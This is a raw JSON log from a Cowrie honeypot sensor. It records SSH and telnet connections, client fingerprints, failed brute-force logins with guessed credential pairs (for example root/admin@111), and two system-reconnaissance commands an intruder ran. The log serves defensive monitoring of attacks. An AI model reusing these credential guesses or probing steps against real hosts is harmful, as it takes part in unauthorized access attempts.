{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.230098Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.577248Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.580033Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.745008Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:59.113909Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:59.116639Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:59.285180Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:59.290238Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.256946086883545,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:06.362128Z","src_ip":"167.99.38.72","session":"1691d1e1081d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":33504,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6846360ca19","protocol":"telnet","message":"New connection: 167.99.38.72:33504 (159.203.135.109:23) [session: e6846360ca19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:12.503414Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":35118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3a15dcf13f","protocol":"telnet","message":"New connection: 167.99.38.72:35118 (159.203.135.109:23) [session: 3b3a15dcf13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:15.081084Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef7762f82a1","protocol":"telnet","message":"New connection: 167.99.38.72:36986 (159.203.135.109:23) [session: fef7762f82a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:17.988954Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"4381fb669684","protocol":"ssh","message":"New connection: 190.108.60.101:49016 (10.17.0.5:22) [session: 4381fb669684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:34.581123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:34.585400Z","src_ip":"190.108.60.101","session":"4381fb669684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:34.798858Z","src_ip":"190.108.60.101","session":"4381fb669684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test","message":"login attempt [test1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:35.689038Z","src_ip":"190.108.60.101","session":"4381fb669684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:36.908473Z","src_ip":"190.108.60.101","session":"4381fb669684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":51972,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8fc6e7bf420","protocol":"telnet","message":"New connection: 167.99.38.72:51972 (159.203.135.109:23) [session: c8fc6e7bf420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:41.451936Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":48934,"dst_ip":"10.17.0.5","dst_port":22,"session":"2097109f2456","protocol":"ssh","message":"New connection: 160.251.101.169:48934 (10.17.0.5:22) [session: 2097109f2456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:42.690779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:42.695133Z","src_ip":"160.251.101.169","session":"2097109f2456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:42.851512Z","src_ip":"160.251.101.169","session":"2097109f2456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git#2024","message":"login attempt [git/git#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:43.534007Z","src_ip":"160.251.101.169","session":"2097109f2456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:44.698583Z","src_ip":"160.251.101.169","session":"2097109f2456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.24186992645264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:47.745179Z","src_ip":"167.99.38.72","session":"e6846360ca19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05202031135559,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:51.132976Z","src_ip":"167.99.38.72","session":"3b3a15dcf13f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22719383239746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:56:54.216073Z","src_ip":"167.99.38.72","session":"fef7762f82a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.6353645324707,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:19.087210Z","src_ip":"167.99.38.72","session":"c8fc6e7bf420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":43322,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca0256e3b94","protocol":"ssh","message":"New connection: 160.251.101.169:43322 (10.17.0.5:22) [session: fca0256e3b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:36.872831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:36.889409Z","src_ip":"160.251.101.169","session":"fca0256e3b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:37.039610Z","src_ip":"160.251.101.169","session":"fca0256e3b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pheonix","message":"login attempt [admin/pheonix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:37.655731Z","src_ip":"160.251.101.169","session":"fca0256e3b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":38682,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd23fde2d083","protocol":"ssh","message":"New connection: 190.108.60.101:38682 (10.17.0.5:22) [session: dd23fde2d083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:38.230343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:38.234607Z","src_ip":"190.108.60.101","session":"dd23fde2d083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:38.443263Z","src_ip":"190.108.60.101","session":"dd23fde2d083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:38.812743Z","src_ip":"160.251.101.169","session":"fca0256e3b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@111","message":"login attempt [root/admin@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:39.324099Z","src_ip":"190.108.60.101","session":"dd23fde2d083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:57:40.538854Z","src_ip":"190.108.60.101","session":"dd23fde2d083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2b534fe2f5a","protocol":"ssh","message":"New connection: 45.148.10.121:49824 (159.203.135.109:22) [session: a2b534fe2f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:31.044687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:31.049662Z","src_ip":"45.148.10.121","session":"a2b534fe2f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:31.137082Z","src_ip":"45.148.10.121","session":"a2b534fe2f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":48330,"dst_ip":"10.17.0.5","dst_port":22,"session":"39b995d322d5","protocol":"ssh","message":"New connection: 160.251.101.169:48330 (10.17.0.5:22) [session: 39b995d322d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:32.993609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:32.997202Z","src_ip":"160.251.101.169","session":"39b995d322d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:33.162982Z","src_ip":"160.251.101.169","session":"39b995d322d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"GIT","message":"login attempt [git/GIT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:33.842713Z","src_ip":"160.251.101.169","session":"39b995d322d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:35.009246Z","src_ip":"160.251.101.169","session":"39b995d322d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":56628,"dst_ip":"10.17.0.5","dst_port":22,"session":"766fc374ef7c","protocol":"ssh","message":"New connection: 190.108.60.101:56628 (10.17.0.5:22) [session: 766fc374ef7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:44.179515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:44.183429Z","src_ip":"190.108.60.101","session":"766fc374ef7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:44.391646Z","src_ip":"190.108.60.101","session":"766fc374ef7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome","message":"login attempt [ubuntu/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:45.265176Z","src_ip":"190.108.60.101","session":"766fc374ef7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:58:46.476834Z","src_ip":"190.108.60.101","session":"766fc374ef7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":49766,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c9296cb637","protocol":"ssh","message":"New connection: 160.251.101.169:49766 (10.17.0.5:22) [session: e5c9296cb637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:31.780895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:31.786051Z","src_ip":"160.251.101.169","session":"e5c9296cb637","protocol":"ssh"}
